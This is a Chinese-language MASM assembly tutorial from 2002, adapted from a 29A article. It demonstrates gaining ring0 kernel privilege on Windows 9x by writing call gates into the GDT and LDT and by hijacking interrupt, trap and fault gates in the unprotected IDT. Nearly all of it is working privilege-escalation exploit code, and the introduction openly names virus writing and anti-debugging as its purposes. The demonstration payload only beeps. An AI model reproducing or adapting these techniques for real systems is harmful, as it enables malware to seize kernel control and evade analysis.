comment $/*
Ring0权限的取得(part1:9X)
翻译改写: Hume/冷雨飘心
原文作者: Super/29A
windows运行在保护模式,保护模式将指令执行分为3个特权级,即众所周知的ring0
~ring3,ring0意味着更多的权利,可以直接执行诸如访问端口等操作,通常一般应用
程序运行于ring3,这没有什么不好,很好的限制了那些刚弄懂Turbo C的小孩搞破坏,
然而当我们需要ring0的时候,比如跟踪,反跟踪,写病毒?麻烦就来了.进入ring0一般
要写VxD或WDM驱动,然而,这对一般人来说并不那么简单,其实由于9X未对IDT,GDT,
LDT加以保护,可以利用这一点漏洞来进入ring0,这是一点入门介绍,其实,ring0也并
不难,下面就是根据Super/29A的文章用Masm改写的例子,改进了一点并加了点注释,
希望对你能有所启发.
以前曾写过用SEH进入ring0的例子.利用seh进入ring0是比较简单的.下面假设你对
保护模式有所了解,如果遇到不懂的地方,赶紧翻翻保护模式教程.
NT/2K/Xp下ring0的取得是一个较困难的课题.关于2k下,webcrazy写了一篇C教程,有
时间用ASM改写一下.
虽然9X肯定会被淘汰,但对ring0的不懈追求将是一个永恒的主题.
*/$
.586p
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h
include mac.h
;;--------------
.DATA
sztit db "By Hume,2002",0
Freq db 08h ;发声频率
gdtR df 0
idtR df 0
ldtR dw 0 ;the contents of GDTR,IDTR,LDTR
ldtDes dw 0
dw 0 ;LDT Limit
dd 0 ;LDT Base
Callgt dq 0 ;call gate's sel:off
;;-----------------------------------------
.CODE
__Start:
sgdt fword ptr gdtR
sidt fword ptr idtR
sldt word ptr ldtR
;save them for later use
;-----------------------
; get the ldt mes
;-----------------------
movzx esi,ldtR
add esi,dword ptr [gdtR+2]
mov ax,word ptr [esi]
mov word ptr [ldtDes],ax
mov ax,word ptr [esi+6]
and ax,0fh
mov word ptr [ldtDes+2],ax
;get ldt Limit
mov eax,[esi+2]
and eax,0ffffffh
mov ebx,[esi+4]
and ebx,0ff000000h
add eax,ebx
mov dword ptr [ldtDes+4],eax
;get ldt Base
;-------------------------------------
; 这里演示在GDT中寻找空白表项来制造调用门
;-------------------------------------
mov esi,dword ptr [gdtR+2]
movzx eax,word ptr [gdtR]
call Search_XDT
;esi==gdt Base
mov esi,dword ptr [gdtR+2]
push offset myring0_prc_callgt
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6]
;Offset
mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h
;sel=28h and attribute ->386 call gate!
and dword ptr Callgt,0
mov word ptr [Callgt+4],ax
call fword ptr [Callgt]
;Ring0!
;--------------------------------------------
; 这里演示在Ldt中制造调用门
;--------------------------------------------
invoke MessageBox,0,CTEXT("Call
gate to Ring0!继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000
;继续演示?
mov esi,dword ptr [ldtDes+4]
mov eax,dword ptr [ldtDes]
call Search_XDT
;eax返回找到的空白选择子
mov esi,dword ptr [ldtDes+4]
push offset myring0_prc_callgt
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6]
;Offset
mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h
;sel=28h and attribute ->386 call gate!
and dword ptr Callgt,0
or al,7h
;所以选择子一定要指向LDT
mov word ptr [Callgt+4],ax
call fword ptr [Callgt]
;Ring0!
; *通过中断门进入ring0,像在Dos下一样,我们只要替换中断向量表的地址以指向我们
; *自己的程序就可以了,不过在win下中断向量表变为IDT(中断描述符表),其第0~1保存
; *中断处理程序偏移的低16位,6~7字节保存偏移的高16位,我们必须使描述符具有DPL=3
; *以便在ring3下转入中断程序,而int 01h,03h,04h,05h,30h本来就是DPL=3,我们可
; *以方便地利用之,注意中断处理程序返回用iret
;---------------------------
; 下面利用int 5进入ring0
;---------------------------
invoke MessageBox,0,CTEXT("Int
gate to Ring0 By Int 5 !继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000
;继续演示?
mov esi,dword ptr [idtR+2]
push dword ptr [esi+8*5]
push dword ptr [esi+8*5+4]
;保存中断描述符
push offset myring0_prc_Intgt
pop word ptr [esi+8*5]
pop word ptr [esi+8*5+6]
int 5
;进入ring0!
;int 3
;//可选择利用int 3
;db 0CCh
;//则保存和恢复就改为8*3
;为了增强反跟踪效果
;当然也可以利用int 1,方法一致不过可能在某些处理器上冲突
pop dword ptr [esi+8*5+4]
;恢复
pop dword ptr [esi+8*5+0]
; *当然,上面使用的全部是DPL=3的int如1,3,5等,如果我们准备使用任意int 来达到
; *目的该怎么办?这就需要自己改int descriptor 的属性值,使DPL=3,sel=28h
; *如下面使用int 255
; *__________________________________________
invoke MessageBox,0,CTEXT("Int
gate to Ring0 By Int X !继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000
;继续演示?
movzx ebx,word ptr [idtR] ;会是什么?没有关系
sub ebx,7
push dword ptr [esi+ebx+0] ; save IDT entry
push dword ptr [esi+ebx+4]
push offset myring0_prc_Intgt
pop word ptr [esi+ebx+0]
mov word ptr [esi+ebx+2],28h
;ring0 Sel
mov word ptr [esi+ebx+4],0EE00h ;386中断门,DPL=3
pop word ptr [esi+ebx+6]
mov eax,ebx
shl eax,5
add eax,90C300CDh
push eax
call esp
; 在堆栈中形成指令 int 5Fh ret直接转入执行!
pop eax
; int调用,酷吧!
pop dword ptr [esi+ebx+4]; 恢复
pop dword ptr [esi+ebx+0]
; *
; *还有其他的方法进入ring0,如陷阱门,与中断门基本一致,只不过是让硬件自己产生中断
; *我们则自己置TF=1引发之,注意在中断处理中关闭TF,否则会造成死不断单步,还有故障门,
; *产生故障之后注意cs:eip已经压入堆栈,如果不改指令的话,就得自己修改eip指向安全地址
; *故障门的好处在于不必自己置sel为28h,也不必担心DPL=0,操作系统为我们准备好了一切
; *我们只要替换int处理地址就行了,以下是简单例子
; *__________________________________________
invoke MessageBox,0,CTEXT("Trap
gate to Ring0 By Int 1!继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000
;继续演示?
;---------------------------------
; int1 单步陷阱或者int4 除法溢出陷阱
; 这里演示int 1,int 4类似
; 这个和上面的有不同吗,有!就是int 1
; 是由CPU而不是我们显式用int 1指令引发
;---------------------------------
push dword ptr [esi+(8*1)+0]
; 保存原int 1
push dword ptr [esi+(8*1)+4]
push offset myring0_prc_Trapgt
pop word ptr [esi+(8*1)+0]
pop word ptr [esi+(8*1)+6]
pushfd
pop eax
or ah,1
push eax
popfd ; TF=1
nop ; ring0!
pop dword ptr [esi+(8*1)+4]; restore IDT entry
pop dword ptr [esi+(8*1)+0]
;--------------------------------------------
; 这里演示故障门,除法错误
;--------------------------------------------
invoke MessageBox,0,CTEXT("Fault
gate to Ring0!继续?"),addr sztit,MB_YESNO
cmp eax,IDNO
jz @xit000
;继续演示?
push dword ptr [esi+(8*0)+0] ;
push dword ptr [esi+(8*0)+4]
push offset Ring0Code_div
pop word ptr [esi+(8*0)+0]
pop word ptr [esi+(8*0)+6]
xor eax,eax
div eax
; 除法错误,进入故障门ring0!
;-----------------------------------------
@xit000:
invoke ExitProcess,0
;-----------------------------------------
Ring0Code_div proc far
pushad
call Beeps
popad
add dword ptr [esp],2
; 修改Eip,略过除错指令继续执行
iretd
Ring0Code_div endp
myring0_prc_Trapgt proc far
pushad
;注意压栈结构为
mov ecx,10
;EIP
ambalance002:
;cs
push ecx
;EFLAGS
call Beeps
pop ecx
loop ambalance002
popad
and byte ptr [esp+9],0FEh ;一定要置TF=0,终止
iretd
;注意iretd,不是iret(w)
myring0_prc_Trapgt endp
myring0_prc_Intgt proc far
pushad
mov ecx,10
ambalance001:
push ecx
call Beeps
pop ecx
loop ambalance001
popad
iretd
myring0_prc_Intgt endp
myring0_prc_callgt proc far
pushad
mov ecx,10
ambalance:
push ecx
call Beeps
pop ecx
loop ambalance
popad
retf
myring0_prc_callgt endp
;-----------------------------------------
Search_XDT proc near ;entry esi==Base of Ldt
or GDT
;Eax==Limit
pushad
mov ebx,eax
mov eax,8 ; skipping null selector
@@1:
cmp dword ptr [esi+eax+0],0
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven't found any free
GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad
ret
Search_XDT endp
;-----------------------------------------
Beeps proc near ;经典的发声子程序,学dos的时候应该
pushad
;没少用吧...
mov al,0B6h
out 43h,al
mov al,[Freq] ;接口要求,不要多问
out 42h,al
out 42h,al
xor byte ptr [Freq],0Ch ; 换频率
; 以便下次发出不同的音高
in al,61h
or al,3
out 61h,al
mov ecx,1000000h ;延时
loop $
and al,0FCh
;关声音
out 61h,al
popad
ret
Beeps endp
END __Start
___________________________________________________Over...___________